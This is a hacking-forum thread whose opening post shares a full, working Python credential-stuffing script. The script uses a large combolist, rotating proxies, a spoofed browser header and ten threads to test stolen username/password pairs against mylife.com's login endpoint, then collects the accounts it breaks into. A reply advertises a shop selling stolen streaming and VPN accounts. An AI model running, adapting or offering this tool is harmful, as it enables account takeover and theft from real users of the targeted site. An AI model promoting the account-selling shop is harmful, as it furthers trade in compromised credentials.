Login Register




The stories and information posted here are artistic works of fiction and falsehood. Only a fool would take anything posted here as fact.


mylife account cracker filter_list
Author
Message
mylife account cracker #1
I just threw a python script together back when I needed some stuff for personal OSINT. Enjoyyy.

Spoiler:
Code:
import os #Author: SickPsycko import requests import json import re import random from bs4 import BeautifulSoup import threading import queue from sys import * import time combolist = list() proxylist = list() cracked = list() pending_task = 0 target_url = "https://www.mylife.com/site/login.proc" def populate_lists(combon, proxyn): combof = open(combon, 'r') print("[+] Loading Combination File...") for line in combof: combolist.append(line) combof.close() print("[+] Loading Proxies...") with open(proxyn, 'r') as pf: p_obj = json.load(pf) for proxy in p_obj: proxy_parsed = str(proxy["host"]) + ":" + str(proxy["port"]) proxylist.append(proxy_parsed) def auth_crack(in_queue, out_queue): while True: with requests.Session() as session: try: comboup = in_queue.get() (user, passw, retryk) = comboup.split(":") payload = { '_spring_security_remember_me':'1','username':user, 'password':passw, 'dispatch':'logon', 'fromURL':'$!request.getAttribute("fromURL")'} if len(proxylist) < 10: print("Not enough Proxies!") os._exit(0) proxyindex = random.randint(0, len(proxylist) - 1) proxy = { "http": proxylist[proxyindex],"https" : proxylist[proxyindex]} session.proxies = proxy session.headers.update({"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0"}) session.get("https://www.mylife.com/site/login.pubview", proxies=proxy, timeout=10) session.cookies session.headers.update({"Origin":"https://www.mylife.com", "Referer": "https://www.mylife.com/site/login.pubview"}) resp = session.post(target_url, data=payload, allow_redirects=True, timeout=10) failed_key_search = BeautifulSoup(resp.text, 'html5lib') failed_element = failed_key_search.find("div", class_="errorList") if "Invalid Username or Password" in failed_element.text: failr = "fail" out_queue.put(failr) in_queue.task_done() else: success_up = "success:" + user + ":" + passw + ":null" out_queue.put(success_up) in_queue.task_done() except(KeyboardInterrupt, SystemExit): print("Exiting!") if len(cracked) > 0: for line in cracked: print(line) os._exit(0) except (requests.exceptions.RequestException): if proxyindex < len(proxylist): proxylist.remove(proxylist[proxyindex]) retuserp = "connerr"+ ":" + user + ":" + passw + ":" + "retry" out_queue.put(retuserp) in_queue.task_done() except Exception as exc: print(type(exc), str(exc)) if proxyindex <= len(proxylist): proxylist.remove(proxylist[proxyindex]) retuserp = "connerr"+ ":" + user + ":" + passw + ":" + "retry" out_queue.put(retuserp) in_queue.task_done() if __name__ == '__main__': acct_tried = 0 crackedc = 0 retryc = 0 combofile = "709k.txt" proxyfile = "proxies.txt" populate_lists(combofile, proxyfile) print("[+] Cracking Accounts..") comboprocl = queue.Queue() crackedreturn = queue.Queue() total = len(combolist) #start workers for i in range(10): t = threading.Thread(target=auth_crack, args=(comboprocl, crackedreturn)) t.daemon = True t.start() #Pass data and crack account for i in range(total): comboprocl.put(combolist[i] + ":null") erroread = "" #get combo status and process success and Failure #for i in range(total): # succ_fail = crackedreturn.get() # errorread = str(succ_fail) # if "connerr" in errorread: # pending_task = pending_task + 1 # (conerrn, user, passw, retryk) = errorread.split(":") # userc = user + ":" + passw # retryl.append("userc") # elif "success" in errorread: # (connerrn, user, passw, retryk) = erroread.split(":") # success_combo = user + ":" + user # if retryk is "null": # cracked.append(success_combo) while True: numproxies = len(proxylist) account_total = len(combolist) stdout.write("[x]Attempts [%i/%i] [/]Proxies: [%i] [/]Retries: [%i] [/]Cracked: [%i] %s"%(acct_tried, account_total, numproxies, retryc, crackedc, "\r")) stdout.flush() try: succ_fail = crackedreturn.get() if "connerr" in succ_fail: pending_task = pending_task + 1 retryc = retryc + 1 (conerrn, user, passw, retryk) = succ_fail.split(":") userc = user + ":" + passw comboprocl.put(userc + ":retry") elif "success" in succ_fail: (connerrn, user, passw, retryk) = succ_fail.split(":") success_combo = user + ":" + passw cracked.append(success_combo) acct_tried = acct_tried + 1 elif "fail" in succ_fail: acct_tried = acct_tried + 1 except queue.Empty: break; t.join() for line in cracked: print(line) os._exit(0)


15PiEmdNquZDJdkanYLkJLZPyVrow54kaG
Donations
(This post was last modified: 11-11-2019, 07:03 AM by SickPsycko. Edit Reason: Fixed a line )
“Lord, protect me from my friends; I can take care of my enemies.”  - Volitaire

Reply

RE: mylife account cracker #2
https://shoppy.gg/user/Charlesxxx


- ALL sold accounts start with a 1 month warranty

- We are updating our shop daily with many accounts like league passes hulu spotify family nord vpn and many many more.

IF you don't find what you are looking for on the selly shop just contact me i will get it for you

-Kindly Contact me for any issues or replacement requests before rushing to post any bad review request ALL ISSUES WILL BE resolved

Reply

RE: mylife account cracker #3
Bruh better get yo spamming ass outta here before I put some pancake batter on that butt and spank that ass for you
“Lord, protect me from my friends; I can take care of my enemies.”  - Volitaire

Reply